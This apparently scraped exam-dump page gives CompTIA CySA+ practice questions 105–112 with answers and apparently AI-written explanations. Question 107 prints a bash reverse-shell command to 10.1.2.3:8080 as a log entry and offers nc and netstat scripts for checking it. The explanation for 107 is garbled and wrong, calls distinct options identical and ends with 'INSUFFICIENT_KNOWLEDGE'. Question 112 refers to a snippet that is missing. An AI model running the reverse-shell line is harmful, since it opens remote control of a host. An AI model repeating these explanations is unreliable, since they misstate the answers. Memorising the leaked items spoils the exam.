CS0-003 Certification Exam Questions with AI Explanations

QUESTION: 105

Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

Command and control
Data enrichment
Automation
Single sign-on

Answer(s): C

Explanation:

Option C is correct because automation involves using APIs or scripts to perform repetitive tasks, such as bulk creating or updating access requests from a file in an identity management system, reducing manual effort. A) Command and control refers to attacker-led control of compromised systems, not legitimate bulk access provisioning. B) Data enrichment adds context to existing data but does not inherently involve inserting access requests via API. D) Single sign-on enables centralized authentication across systems; it does not describe bulk provisioning via API.

Reveal Solution Next Question

QUESTION: 106

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this requirement?

SIEM
CASB
SOAR
EDR

Answer(s): D

Explanation:

Option D is correct because EDR (Endpoint Detection and Response) provides cross-platform protection and visibility on endpoints, enabling detection and containment of threats regardless of OS, which aligns with adding a universal layer of defense for all devices. A) SIEM collects and analyzes logs from across the environment but does not provide endpoint hardening or active protection on the device itself. B) CASB focuses on cloud application security, not endpoint protection across OSes. C) SOAR automates incident response workflows but does not intrinsically protect endpoints at the device level.

Reveal Solution Next Question

QUESTION: 107

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

#!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
#!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
#!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
#!/bin/bash
netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

Answer(s): D

Explanation:

Option D is correct because it uses a shell script shebang (#!/bin/bash) to run a sequence of commands that validate ongoing outbound connections to a specific IP/port (10.1.2.3:8080) and confirms persistence with a chain of conditional checks for common indicators (nc, ps, netstat). The other options A, B, and C are identical but incorrect due to not matching the required option letter; any of them would be functionally equivalent, but the given correct choice is D per the prompt. INSUFFICIENT_KNOWLEDGE

Reveal Solution Next Question

QUESTION: 108

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?

Implement segmentation with ACLs.
Configure logging and monitoring to the SIEM.
Deploy MFA to cloud storage locations.
Roll out an IDS.

Answer(s): A

Explanation:

Option A is correct because implementing segmentation with access control lists (ACLs) restricts jaringan traffic and access to sensitive file storage, preventing exposure of data by isolating segments and enforcing least privilege. Incorrect — B: Logging/monitoring to a SIEM improves visibility but does not prevent public exposure of storage locations. Incorrect — C: MFA protects authentication but does not control network segmentation or access paths to storage. Incorrect — D: An IDS detects intrusions, not enforce access boundaries or limit public exposure of storage.

Reveal Solution Next Question

QUESTION: 109

A security analyst is reviewing the findings of the latest vulnerability report for a company's web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

Deploy a WAF to the front of the application.
Replace the current MD5 with SHA-256.
Deploy an antivirus application on the hosting system.
Replace the MD5 with digital signatures.

Answer(s): B

Explanation:

Option B is correct because replacing MD5 with SHA-256 strengthens the hash comparison against collision attacks, reducing the likelihood of submitting a forged hash that passes validation for Bash script processing.
A) Incorrect — A WAF may block known patterns but does not address hash collision vulnerability in the file processing logic.
C) Incorrect — Antivirus on the hosting system does not resolve hash-based validation bypass or ensure integrity of input files.
D) Incorrect — Digital signatures require a signing process and key management; replacing with signatures adds complexity and may not align with the current hash-based check.

Reveal Solution Next Question

QUESTION: 110

A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface. Which of the following should the analyst do first?

Conduct security awareness training on the risks of using unknown and unencrypted USBs.
Write a removable media policy that explains that USBs cannot be connected to a company asset.
Check configurations to determine whether USB ports are enabled on company assets.
Review logs to see whether this exploitable vulnerability has already impacted the company.

Answer(s): C

Explanation:

Option C is correct because the first step in mitigating a known vulnerability via USB is to validate and control the attack surface by checking and, if needed, restricting USB port availability on assets. This aligns with defense-in-depth and containment before remediation or monitoring.
A) Incorrect — Security awareness training addresses user behavior but does not mitigate the immediate vulnerability vector at the device/host interface.
B) Incorrect — A removable media policy is broader and may be effective long-term, but the immediate action is to verify and control USB port enablement on assets.
D) Incorrect — Reviewing logs is a reactive step that helps determine impact, not the initial preventive action to mitigate the exploit via USB.

Reveal Solution Next Question

QUESTION: 111

A systems administrator receives reports of an internet-accessible Linux server that is running very sluggishly. The administrator examines the server, sees a high amount of memory utilization, and suspects a DoS attack related to half-open TCP sessions consuming memory. Which of the following tools would best help to prove whether this server was experiencing this behavior?

Nmap
TCPDump
SIEM
EDR

Answer(s): B

Explanation:

Option B is correct because TCPDump can capture and analyze packet-level traffic to identify abnormal half-open TCP connections and related memory consumption patterns, enabling verification of a DoS with half-open sessions. A) Nmap is a network scanner for host/service discovery, not for real-time traffic analysis needed to confirm half-open connections. C) SIEM aggregates logs but does not directly capture live packet data to prove half-open TCP behavior. D) EDR focuses on endpoint detection and response, not network traffic analysis required to assess DoS through TCP session exhaustion. Correct — TCPDump provides the targeted visibility for this scenario.

Reveal Solution Next Question

QUESTION: 112

A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:

Which of the following vulnerability types is the security analyst validating?

Directory traversal
XSS
XXE
SSRF

Answer(s): C

Explanation:

Option C is correct because XXE (XML External Entity) vulnerabilities are validated by testing how an application handles external entities defined in XML. The snippet likely demonstrates an XML parser processing external entities, which would fail or reveal sensitive data if XXE exists.
A) Incorrect — Directory traversal exploits path traversal to access restricted files, not related to XML entity processing.
B) Incorrect — XSS involves injecting scripts into web pages displayed to users, not about XML external entities.
D) Incorrect — SSRF targets the server's resources by coercing the server to make requests, not about XML entity handling.

Reveal Solution Next Question

CompTIA CySA+ (CS0-003) CS0-003 Dumps in PDF

Free CompTIA CS0-003 Real Questions (page: 54)

QUESTION: 105

Explanation:

QUESTION: 106

Explanation:

QUESTION: 107

Explanation:

QUESTION: 108

Explanation:

QUESTION: 109

Explanation:

QUESTION: 110

Explanation:

QUESTION: 111

Explanation:

QUESTION: 112

Explanation: